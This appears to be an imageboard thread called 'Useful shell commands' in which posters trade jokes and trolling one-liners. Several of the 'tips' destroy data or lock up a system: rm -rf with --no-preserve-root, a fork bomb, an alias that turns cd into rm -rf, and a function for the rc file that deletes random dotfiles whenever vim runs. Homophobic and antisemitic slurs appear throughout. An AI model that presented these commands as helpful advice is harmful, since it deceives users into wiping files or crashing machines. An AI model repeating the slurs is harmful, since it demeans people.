cat life | grep 'gf'
Useful shell commands
touch kids
curl or wget? why?
ls -Cunt
rm -rf *
man unzip && touch balls
>cat life | grep 'gf'
>not grep 'gf' < life
>or simply grep gf life
touch fluffy | tail
man abs
killall man
who && gawk && uname && talk && date
&& wine && touch && unzip && strip
&& touch && mount && fsck && more && yes;
more; yes; umount && make clean && sleep
rm -rf yourself, you stupid faggot
How do you pronounce rm -rf?
wat does this do
it doesn't actually do anything useful, it's a joke because those are all valid commands and dude sex lmao
thanks for this
yes > /dev/null &
is install solus the new install gentoo
no, it's literally one cunt called kev who's just a complete wanker. Ignore all kev posts, report all solus threads.
best one.
rim raf
r m dash r f
fucking scrub. just use grep only
grep 'gf' life
sudo
Are em dash are eff
cat life | cat | cat | cat | cat | cat | cat | cat | cat | cat | cat | cat | cat | cat | cat | grep 'gf' # :^)
>unix centipede
lol do not do this guys
:(){ :|: & };:
>forkbomb
Found the script kiddie.
sudo cat /dev/ports
>ports
port*
yes 'pkill chromium' | sh
fuck chromium, it always slows down my computer so I have to kill it. I know 1 pkill is probably enough but I need to annihilate my shitty browser
cat /dev/urandom > /dev/dsp
get iron
sudo rm -rf --no-preserve-root
sudo apt install Windows-10-Pro
openbsd ftp
curl, better proxy support
Wouldn't that remove apt?
useful tip is to install shellcheck.
You will learn a lot by trying to fix dangerous/erroneous lines
ncmpcpp
forgot the sudo at the front
Yes it would, just typical wintards not knowing a thing about computers.
rm /bin/rm
cat /bin/cat
pkill -9 pkill
chmod 000 /bin/chmod
mount /dev/sda1 /bin/
Add this function to your shell's rc file
vim () {
ls -1a ~ | grep -o '^\..*'| sed -n "$(jot -r 2 1 $(ls -1a ~ | grep -o '^\..' | wc -l))p" | xargs unlink -rpdf
command vim $*
}
[/code[
Guaranteed to cure manic ricing disorder or at least get you to learn to like a better text editor
fuck this going back to caps as shift and shift as (/[
>cat life
sure you have enough ram?
bash: jot: command not found...
>not having jot
your OS is garbage and ed probably wasn't even your default editor
Does this still crash chrome?
>when you realize that pipes are a way for programs to go ass-to-mouth
What is he is not a fgt and is su?
ls -cuntflaps
I find it hilarious that you guys think that you're so smart and pointing out his "mistake", but apparently not smart enough to figure out it was intentional satire.
try just pkill -9 chromium
Checked
Kevinism
google.com
alias cd rm -rf
holy shit
ls | grep -i "song name"
Loled
killall
yes > no
great one for weening users of ubuntu. add to root's bashrc or bash_profile
apt-get() {
s="$(printf '\x49\x6e\x73\x74\x61\x6c\x6c\x20\x47\x65\x6e\x74\x6f\x6f')";
printf '\x1bc';while :;do read -s -n 1 -t .01 && clear && break; printf \
"\x1b[$((RANDOM%LINES));$((RANDOM%$((COLUMNS-${#s}))))f\x1b[$((RANDOM%8+\
30))m$s\n";done #:(){:|:&};:%1337%G3/\/7$0$0|\/|3n@[email protected]
no its just this kevin faggot shilling solus
dd if=/dev/op/mouth of=/dev/dick
You just nuked the wrong disk. Learn if vs of
sudo rm -rf * --no-preserve-root
hai2u
ar em ar eff
killall jews
need to make an alias for that
this is all you need
wget stroblindustries.com
what's the deal with the stylish nazi hair?
curl solussf1iso.stroblindustries.com
erem eref
read mail minus read fast
erre eme menos erre efe
>Not logging in as root
You must not like power.
im curious now, what does it do?
This alias only works if your logged in as root
rm rf
that shell one-liner was so unbelievably bad it literally gave me cancer
fuck you, now I'm dying because of you
shitton of cpu in background process?
>
>curl, better proxy support
Wget better recursive downloads and resume options.
sudo alias cd rm -rf
echo ':^)'
This is one I actually use
alias findFile='find $1 - type f 2>/dev/null | grep $2'
Rem is best girl
{ while :; do yes > /dev/null &; done } &
gets you out your parents basement
Get a load of this faggot calling them dash rather than the god tier master race term "tack"
but then the fags came
alias
:(){:|:&};:
Nice fork bomb you leet haxor_1337
ls `yes`
How come there's no protection against this? I don't mean the exact command, but something to prevent my harddrive from choking.
haha shit
I ran it in a terminal and killed the terminal but it kept going in the background
yes
install solus